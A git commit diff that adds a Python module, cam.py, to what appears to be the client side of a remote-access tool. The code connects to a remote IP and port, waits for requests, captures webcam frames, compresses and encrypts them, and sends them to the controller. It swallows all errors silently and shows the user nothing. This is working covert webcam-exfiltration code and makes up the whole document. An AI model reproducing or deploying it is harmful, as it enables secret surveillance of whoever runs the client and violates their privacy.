diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:06:25 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:06:25 +0200 |
commit | 18a3d3bc354e667bc58385e59745b82b53695139 (patch) | |
tree | fef56722868ae768b16382aae2f3559ec4bbf370 /Modules/Clients/cam.py |
Diffstat (limited to 'Modules/Clients/cam.py')
-rw-r--r-- | Modules/Clients/cam.py | 50 |
1 files changed, 50 insertions, 0 deletions
diff --git a/Modules/Clients/cam.py b/Modules/Clients/cam.py new file mode 100644 index 0000000..04cdad4 --- /dev/null +++ b/Modules/Clients/cam.py @@ -0,0 +1,50 @@ +import socket +import pickle +import zlib +import cv2 + +from Specific.encrypt import Encryption +from sys import exit + + +def Cam(ip, port, encoding, position): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + cam = cv2.VideoCapture(position) + + while True: + try: + Cam_msg = s.recv(1024) + + if new_msg: + msg_len = int(Cam_msg[:headersize]) + new_msg = False + + full_msg += Cam_msg + + if len(full_msg)-headersize == msg_len: + check, frame = cam.read() + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cam.release() + cv2.destroyAllWindows() + exit(0) + except: + exit(0)
\ No newline at end of file |